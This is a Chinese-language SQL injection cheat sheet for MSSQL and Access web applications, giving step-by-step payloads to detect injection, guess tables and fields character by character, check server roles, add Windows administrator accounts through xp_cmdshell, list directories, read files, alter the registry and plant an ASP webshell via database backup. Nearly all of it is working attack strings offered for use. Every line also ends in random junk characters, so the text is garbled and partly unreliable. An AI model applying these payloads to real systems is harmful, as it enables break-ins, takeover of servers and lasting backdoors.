1.判断是否有注入;and 1=1 ;and 1=2 |$-d,] V
2.初步判断是否是mssql ;and user>0 >Ki]8&
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3.注入参数是字符'and [查询条件] and ''=' ur quVb
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' j`&i4K:
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5.判断数据库系统 +53zI|I
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;and (select count(*) from sysobjects)>0 mssql 4Xho0lO&
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;and (select count(*) from msysobjects)>0 access HC`3AQ12!&
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 9^h%}>
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 -{sv3|P>
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 QZq9$;>dW
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9.(1)猜字段的ascii值(access) = 8e8!8
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 vrldRn'*9
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(2)猜字段的ascii值(mssql) >Ezwl5b
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 CO+jB
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10.测试权限结构(mssql) r4>I?lD
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ,^Srd20
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- e9~4wt
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ^"#rDP"v
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- @ BW8`Ky1
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ZVR 9vw28
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ~,65/O
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;and 1=(select IS_MEMBER('db_owner'));-- JX<W[P>M
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11.添加mssql和系统的帐户 T1di$8
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;exec master.dbo.sp_addlogin username;-- !27]1%Aw
;exec master.dbo.sp_password null,username,password;-- U:jf9L2
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ?YykCJJ ~@
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;exec master.dbo.xp_cmdshell 'net user username password w[G_ w:$a
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- )t=u(:u]
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- 0>MI*fnY"
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- "kg$s5o
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12.(1)遍历目录 vp9<.*h
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;create table dirs(paths varchar(100), id int) 5hK\YTU
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;insert dirs exec master.dbo.xp_dirtree 'c:\' .4(f0RG
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;and (select top 1 paths from dirs)>0 s@iCfX U
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) k|C8sSH
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(2)遍历目录 {\zr_v`g
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ;O11)u?/s|
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 9r#{s Y
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 W
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 .p}Kl$K]
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 x@}Fn:c!5
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13.mssql中的存储过程 ~=ys~em e
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xp_regenumvalues 注册表根键, 子键 ybO,~TQ
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 Z?mg1;Q
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xp_regread 根键,子键,键值名 59]9-1" +
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;exec xp_regread fC|u
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 Q>ytO'v1
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xp_regwrite 根键,子键, 值名, 值类型, 值 $'*BS
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 nWu4HFi
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 j@!}r|-T
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xp_regdeletevalue 根键,子键,值名 EPRs%(w`
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 e8bJ]
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 KLW+&.re8
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14.mssql的backup创建webshell ,ua1xsZl&
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use model qKC*jDW
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create table cmd(str image); ,[L$
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insert into cmd(str) values (''); %m3efaC
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backup database model to disk='c:\l.asp'; 3PffQ,c[~
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15.mssql内置函数 |lV9?#!
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;and (select @@version)>0 获得Windows的版本号 ]E^f8s0#V
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa I1 O?)x~
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;and (select user_name())>0 爆当前系统的连接用户 wP"|$HN
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;and (select db_name())>0 得到当前连接的数据库 GGtrH~zx
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16.简洁的webshell =)8fE*[s
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use model /|AuI qW
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create table cmd(str image); J7o?h9
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insert into cmd(str) values (''); |0p'p$%
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backup database model to disk='g:\wwwtest\l.asp';